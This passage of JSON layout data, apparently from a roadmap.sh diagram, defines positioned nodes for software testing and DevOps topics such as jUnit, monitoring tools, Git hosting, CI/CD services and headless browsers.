\"5bNdrymdzqL0VbTqWt8r2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 442.4166283258302,\n        \"y\": 1769.1936617828844\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"jUnit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 108\n      },\n      \"positionAbsolute\": {\n        \"x\": 442.4166283258302,\n        \"y\": 1769.1936617828844\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pJvijtG-a0vOq16EFu3Gr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -164.0904840189363,\n        \"y\": 1717.447369469604\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Monitoring & Logs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Pm-Wx7Z3jCUFcafetsQYi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 269,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -164.0904840189363,\n        \"y\": 1717.447369469604\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8CztIu0BOPZZRZsqR9asW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -502.909753456685,\n        \"y\": 1910.7825215468501\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Grafana\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -502.909753456685,\n        \"y\": 1910.7825215468501\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QnNUZQlQ2Jhv34daeIuW8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -502.909753456685,\n        \"y\": 1645.7825215468501\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"New Relic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147\n      },\n      \"positionAbsolute\": {\n        \"x\": -502.909753456685,\n        \"y\": 1645.7825215468501\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iceaqeXRYXoGtagWn_B7b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -502.909753456685,\n        \"y\": 1698.7825215468501\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RunScope\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147\n      },\n      \"positionAbsolute\": {\n        \"x\": -502.909753456685,\n        \"y\": 1698.7825215468501\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H-2wWlKxD_Q1xVv99GlBj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -502.909753456685,\n        \"y\": 1963.7825215468501\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Sentry\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -502.909753456685,\n        \"y\": 1963.7825215468501\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DCZyXcx8H2MTPcyKOhn2_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -502.909753456685,\n        \"y\": 1751.7825215468501\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Kibana\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147\n      },\n      \"positionAbsolute\": {\n        \"x\": -502.909753456685,\n        \"y\": 1751.7825215468501\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y2I_dcVZb4xZremXoajjx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -502.909753456685,\n        \"y\": 1804.7825215468501\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Datadog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147\n      },\n      \"positionAbsolute\": {\n        \"x\": -502.909753456685,\n        \"y\": 1804.7825215468501\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DJDegO78Elo83eHjq8IHN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -502.909753456685,\n        \"y\": 1857.7825215468501\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pager Duty\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -502.909753456685,\n        \"y\": 1857.7825215468501\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s8o5fXu3XHrMduh8snLwu\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -164.0904840189363,\n        \"y\": 1818.9961522452961\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Version Control System\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Pm-Wx7Z3jCUFcafetsQYi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 269,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -164.0904840189363,\n        \"y\": 1818.9961522452961\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WrqKdOTRUiOnc1aIhTZeB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 166.9095159810637,\n        \"y\": 1818.1936617828844\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 68,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 166.9095159810637,\n        \"y\": 1818.1936617828844\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M6v8VUpVtw5blU2gi4F2r\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -164.0904840189363,\n        \"y\": 1928.847844776519\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Repo Hosting Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XoYsStVqfMeCHkGBlbRhD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 269,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -164.0904840189363,\n        \"y\": 1928.847844776519\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v4gjV1qolrFXdESrY9bzG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -163.1157989231745,\n        \"y\": 2012.57726857526\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -163.1157989231745,\n        \"y\": 2012.57726857526\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4xlbvY7NS3cemSZsEQAkD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -74.11579892317451,\n        \"y\": 2012.57726857526\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Bitbucket\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -74.11579892317451,\n        \"y\": 2012.57726857526\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RfwyTgwfb_xu5H9N-8_s9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 24.88420107682549,\n        \"y\": 2012.57726857526\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitLab\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 24.88420107682549,\n        \"y\": 2012.57726857526\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-n2yAprKdWg3YVi2vp25d\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 315.0061566619204,\n        \"y\": 2043.9753124532335\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CI / CD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Pm-Wx7Z3jCUFcafetsQYi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 315.0061566619204,\n        \"y\": 2043.9753124532335\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"z1kZkWTL_RRPZY59aWylU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 315.92934933147006,\n        \"y\": 1954.330437867074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Circle CI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 315.92934933147006,\n        \"y\": 1954.330437867074\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3oDyxhhbCCqxuCh1sT9VC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 439.93981601559153,\n        \"y\": 1848.330437867074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Drone\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 439.93981601559153,\n        \"y\": 1848.330437867074\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3l2dkN1vBy9johFhAgZhT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 315.92934933147006,\n        \"y\": 1848.330437867074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Jenkins\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 315.92934933147006,\n        \"y\": 1848.330437867074\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Rz1E97EQCxESu44dTQd5t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 439.93981601559153,\n        \"y\": 1954.330437867074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Travis CI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 439.93981601559153,\n        \"y\": 1954.330437867074\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iW3oaTl7c3a1kNlCKy-13\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 315.92934933147006,\n        \"y\": 1901.330437867074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitLab CI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 315.92934933147006,\n        \"y\": 1901.330437867074\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j4J5OhHEf7t-LVNkNVW3M\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 439.93981601559153,\n        \"y\": 1901.330437867074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Bamboo\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 439.93981601559153,\n        \"y\": 1901.330437867074\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"k3TBVtepeQEGzKGceDkPJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 315.0061566619204,\n        \"y\": 2146.9753124532335\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"TeamCity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 237\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 315.0061566619204,\n        \"y\": 2146.9753124532335\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"u0tKd7HZVN2gGv9Cz3jHz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 315.0061566619204,\n        \"y\": 2199.9753124532335\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Azure DevOps Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 315.0061566619204,\n        \"y\": 2199.9753124532335\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Pm-Wx7Z3jCUFcafetsQYi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -166.74744704168165,\n        \"y\": 2171.3205500809636\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Headless Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 269,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -166.74744704168165,\n        \"y\": 2171.3205500809636\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XoYsStVqfMeCHkGBlbRhD\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -164.0904840189363,\n        \"y\": 1928.847844776519\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Repo Hosting Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Pm-Wx7Z3jCUFcafetsQYi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 269,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -164.0904840189363,\n        \"y\": 1928.847844776519\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m0gT774b59xsSJKrrjTxq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -399.08230823147517,\n        \"y\": 2064.148531995819\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Zombie.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -399.08230823147517,\n        \"y\": 2064.148531995819\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sHyFCf7XQKxGxchaYxp2B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -517.6856800135615,\n        \"y\": 2064.148531995819\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Puppeteer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.6856800135615,\n        \"y\": 2064.148531995819\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0TUq4KRbWTLsLuYI9sgi0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.0823082314752,\n        \"y\": 2117.148531995819\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Playwright\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.0823082314752,\n        \"y\": 2117.148531995819\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D7zGshmgwqWluF-W7OTWe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -399.08230823147517,\n        \"y\": 2117.148531995819\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cypress\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -399.08230823147517,\n        \"y\": 2117.148531995819\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JO--NVMs3saUNjh3mcd7z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -517.6856800135615,\n        \"y\": 2171.3205500809636\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Headless Chrome\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.6856800135615,\n        \"y\": 2171.3205500809636\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ryoSezFNeiunCAZygCbaQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -517.6856800135615,\n        \"y\": 2224.3205500809636\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Headless Fox\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.6856800135615,\n        \"y\": 2224.3205500809636\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-Sf7DLr8Ywoorrmsx3bfd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -517.6856800135615,\n        \"y\": 2277.3205500809636\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HTML Unit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.6856800135615,\n        \"y\": 2277.3205500809636\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xwpc_KxehAruFM0pCQnie\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -43.26518332909015,\n        \"y\": 2405.9205199730295\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        },\n        \"oldId\": \"Ju00mr0KLGN2BV6yEQGPt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": -43.26518332909015,\n        \"y\": 2405.9205199730295\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 334,\n      \"height\": 116,\n      \"id\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -198.26518332909015,\n        \"y\": 2318.5644951976747\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit the following relevant roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"sVXZrBCsiSzWBBYWTm-nQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -198.26518332909015,\n        \"y\": 2318.5644951976747\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 334,\n        \"height\": 116\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 334,\n        \"height\": 116\n      }\n    },\n    {\n      \"width\": 150,\n      \"height\": 49,\n      \"id\": \"dlGf3ZdFXYx0Z6Viu2x-l\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -187.09789095083502,\n        \"y\": 2375.0342525701326\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"gC8lsIdYLRzo3HzwVqtm1\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -187.09789095083502,\n        \"y\": 2375.0342525701326\n      },\n      \"style\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      